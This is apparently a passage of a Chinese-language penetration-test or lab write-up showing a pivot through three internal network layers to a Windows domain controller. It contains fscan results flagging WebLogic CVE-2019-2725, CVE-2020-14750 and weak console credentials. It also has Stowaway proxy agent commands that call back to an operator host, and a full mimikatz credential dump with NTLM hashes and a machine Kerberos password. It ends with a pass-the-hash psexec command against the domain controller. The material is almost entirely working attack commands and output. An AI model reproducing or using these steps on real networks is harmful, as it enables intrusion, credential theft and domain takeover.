以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::7168:6330:b3a4:acf3%10
IPv4 地址 . . . . . . . . . . . . : 192.168.80.55
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.80.1
隧道适配器 isatap.{81F64077-4CE3-4ED0-B8A3-22124C91CB3A}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{038DAB72-5539-4785-BFF0-5DA18E9CFFEE}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
发现双网卡,继续扫一下192.168.81.0/24
192.168.81.20:445 open
192.168.81.22:445 open
192.168.81.20:139 open
192.168.81.22:139 open
192.168.81.20:7001 open
192.168.81.20:135 open
192.168.81.22:135 open
192.168.81.22:80 open
[*] OsInfo 192.168.81.22 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] NetBios 192.168.81.22 WORKGROUP\WIN-P5VV23D2I7P Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] WebTitle http://192.168.81.22 code:200 len:11 title:None
[*] NetBios 192.168.81.20 weblogic.c3ting.org Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://192.168.81.20:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://192.168.81.20:7001 [weblogic]
[+] PocScan http://192.168.81.20:7001 poc-yaml-weblogic-cve-2019-2725 v12
发现192.168.81.20存活
Stowaway挂第二层代理
vps
(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 10000
目标机
windows_x64_agent.exe -c 192.168.80.50:10000 -s 123 --reconnect 8
设置代理链
发现是Weblogic,直接梭哈
这里不知道为什么内存马死活连不上
然后换了一个工具直接传马,冰蝎能连上,哥斯拉还是连不上...........怎么会这么抽象真崩溃了!!!
第三层内网信息收集
IP信息
发现还有一个192.168.77.25的网段
上传fscan扫一下77网段
192.168.77.250:139 open
192.168.77.25:7001 open
192.168.77.250:445 open
192.168.77.25:445 open
192.168.77.25:139 open
192.168.77.250:135 open
192.168.77.25:135 open
192.168.77.250:88 open
[*] NetInfo
[*]192.168.77.250
[->]WIN-LAVRSND6J6N
[->]192.168.77.250
[*] OsInfo 192.168.77.250 (Windows Server 2012 R2 Standard 9600)
NetBios 192.168.77.250 [+] DC:WIN-LAVRSND6J6N.c3ting.org Windows Server 2012 R2 Standard 9600
NetBios 192.168.77.25 weblogic.c3ting.org Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://192.168.77.25:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://192.168.77.25:7001 [weblogic]
192.168.77.250:88 open
192.168.77.25:7001 open
192.168.77.250:445 open
192.168.77.25:445 open
192.168.77.250:139 open
192.168.77.25:139 open
192.168.77.250:135 open
192.168.77.25:135 open
192.168.77.250:139 open
192.168.77.250:445 open
192.168.77.25:139 open
192.168.77.25:445 open
192.168.77.250:135 open
192.168.77.25:135 open
192.168.77.250:88 open
192.168.77.25:7001 open
[*] NetInfo
[*]192.168.77.250
[->]WIN-LAVRSND6J6N
[->]192.168.77.250
[*] OsInfo 192.168.77.250 (Windows Server 2012 R2 Standard 9600)
NetBios 192.168.77.25 weblogic.c3ting.org Windows Server 2012 R2 Datacenter 9600
NetBios 192.168.77.250 [+] DC:WIN-LAVRSND6J6N.c3ting.org Windows Server 2012 R2 Standard 9600
NetBios 192.168.77.25 weblogic.c3ting.org Windows Server 2012 R2 Datacenter 9600
[*] NetInfo
[*]192.168.77.250
[->]WIN-LAVRSND6J6N
[->]192.168.77.250
[*] OsInfo 192.168.77.250 (Windows Server 2012 R2 Standard 9600)
NetBios 192.168.77.250 [+] DC:WIN-LAVRSND6J6N.c3ting.org Windows Server 2012 R2 Standard 9600
[*] WebTitle http://192.168.77.25:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://192.168.77.25:7001 [weblogic]
[+] PocScan http://192.168.77.25:7001 poc-yaml-weblogic-cve-2019-2725 v12
[+] PocScan http://192.168.77.25:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password weblogic123} {payload UTF-8}]
[*] WebTitle http://192.168.77.25:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://192.168.77.25:7001 [weblogic]
[+] PocScan http://192.168.77.25:7001 poc-yaml-weblogic-cve-2019-2725 v12
[+] PocScan http://192.168.77.25:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password weblogic123} {payload UTF-8}]
[+] PocScan http://192.168.77.25:7001 poc-yaml-weblogic-cve-2020-14750
[+] PocScan http://192.168.77.25:7001 poc-yaml-weblogic-cve-2020-14750
发现192.168.77.250是域控
杀软信息
Stowaway挂第三层代理
vps
(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 10000
目标机
windows_x64_agent.exe -c 192.168.81.22:10000 -s 123 --reconnect 8
mimikatz抓取hash
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
424 {0;000003e7} 0 D 39176 NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Primary
-> Impersonated !
* Process Token : {0;00083781} 2 D 1394614 C3TING\Administrator S-1-5-21-495363149-4124706654-1579529781-500 (17g,23p) Primary
* Thread Token : {0;000003e7} 0 D 1412018 NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Impersonation (Delegation)
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 375046 (00000000:0005b906)
Session : Interactive from 2
User Name : weblogic
Domain : C3TING
Logon Server : WIN-1SJG2BFF54E
Logon Time : 2024/6/10 21:31:50
SID : S-1-5-21-495363149-4124706654-1579529781-1103
msv :
[00000003] Primary
* Username : weblogic
* Domain : C3TING
* NTLM : dee6489dfcd545e5a4b452fc9da06a0f
* SHA1 : f959b907a86ef967bcbed9dc24954695ecbe2fa8
[00010000] CredentialKeys
* NTLM : dee6489dfcd545e5a4b452fc9da06a0f
* SHA1 : f959b907a86ef967bcbed9dc24954695ecbe2fa8
tspkg :
wdigest :
* Username : weblogic
* Domain : C3TING
* Password : (null)
kerberos :
* Username : weblogic
* Domain : C3TING.ORG
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 350972 (00000000:00055afc)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/6/10 21:29:25
SID : S-1-5-90-2
msv :
[00000003] Primary
* Username : WEBLOGIC$
* Domain : C3TING
* NTLM : 46b27275c57726a026781f3ed621b4cb
* SHA1 : 09c31622476ba96b160a234c14707eba5b7dbc2b
tspkg :
wdigest :
* Username : WEBLOGIC$
* Domain : C3TING
* Password : (null)
kerberos :
* Username : WEBLOGIC$
* Domain : c3ting.org
* Password : _okY.Qi_a.>dd32F:z2UKy.O*x n5E9,5Rl_%O&A0;"J:'#pj3Z>NgX8/Us1*h"3lc/Sa%.bqP9lQR)nU1B'>aeR%no9-O3 A[<p W`WRu&>zncfT2'8L]Ez
ssp : KO
credman :
Authentication Id : 0 ; 350948 (00000000:00055ae4)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/6/10 21:29:25
SID : S-1-5-90-2
msv :
[00000003] Primary
* Username : WEBLOGIC$
* Domain : C3TING
* NTLM : 46b27275c57726a026781f3ed621b4cb
* SHA1 : 09c31622476ba96b160a234c14707eba5b7dbc2b
tspkg :
wdigest :
* Username : WEBLOGIC$
* Domain : C3TING
* Password : (null)
kerberos :
* Username : WEBLOGIC$
* Domain : c3ting.org
* Password : _okY.Qi_a.>dd32F:z2UKy.O*x n5E9,5Rl_%O&A0;"J:'#pj3Z>NgX8/Us1*h"3lc/Sa%.bqP9lQR)nU1B'>aeR%no9-O3 A[<p W`WRu&>zncfT2'8L]Ez
ssp : KO
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEBLOGIC$
Domain : C3TING
Logon Server : (null)
Logon Time : 2024/6/10 21:26:59
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WEBLOGIC$
* Domain : C3TING
* NTLM : 46b27275c57726a026781f3ed621b4cb
* SHA1 : 09c31622476ba96b160a234c14707eba5b7dbc2b
tspkg :
wdigest :
* Username : WEBLOGIC$
* Domain : C3TING
* Password : (null)
kerberos :
* Username : weblogic$
* Domain : C3TING.ORG
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 43688 (00000000:0000aaa8)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2024/6/10 21:26:53
SID :
msv :
[00000003] Primary
* Username : WEBLOGIC$
* Domain : C3TING
* NTLM : 46b27275c57726a026781f3ed621b4cb
* SHA1 : 09c31622476ba96b160a234c14707eba5b7dbc2b
tspkg :
wdigest :
kerberos :
ssp : KO
credman :
Authentication Id : 0 ; 538497 (00000000:00083781)
Session : CachedInteractive from 2
User Name : Administrator
Domain : C3TING
Logon Server : WIN-1SJG2BFF54E
Logon Time : 2024/6/10 21:33:21
SID : S-1-5-21-495363149-4124706654-1579529781-500
msv :
[00010000] CredentialKeys
* NTLM : 7ab183888ecafcccf897c4a5a59c8568
* SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9
[00000003] Primary
* Username : Administrator
* Domain : C3TING
* NTLM : 7ab183888ecafcccf897c4a5a59c8568
* SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9
tspkg :
wdigest :
* Username : Administrator
* Domain : C3TING
* Password : (null)
kerberos :
* Username : Administrator
* Domain : C3TING.ORG
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 496531 (00000000:00079393)
Session : Interactive from 2
User Name : Administrator
Domain : C3TING
Logon Server : WIN-1SJG2BFF54E
Logon Time : 2024/6/10 21:32:46
SID : S-1-5-21-495363149-4124706654-1579529781-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : C3TING
* NTLM : 7ab183888ecafcccf897c4a5a59c8568
* SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9
[00010000] CredentialKeys
* NTLM : 7ab183888ecafcccf897c4a5a59c8568
* SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9
tspkg :
wdigest :
* Username : Administrator
* Domain : C3TING
* Password : (null)
kerberos :
* Username : Administrator
* Domain : C3TING.ORG
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 264033 (00000000:00040761)
Session : Interactive from 1
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2024/6/10 21:28:30
SID : S-1-5-21-2004965046-3923418856-647414055-500
msv :
tspkg :
wdigest :
kerberos :
ssp : KO
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2024/6/10 21:27:01
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEBLOGIC$
Domain : C3TING
Logon Server : (null)
Logon Time : 2024/6/10 21:26:53
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WEBLOGIC$
* Domain : C3TING
* Password : (null)
kerberos :
* Username : weblogic$
* Domain : C3TING.ORG
* Password : (null)
ssp : KO
credman :
PTH
proxychains4 python3 psexec.py -hashes :7ab183888ecafcccf897c4a5a59c8568 c3ting.org/administrator@192.168.77.250
-
-
-
-
-
-
-
-
-
-
-
-
-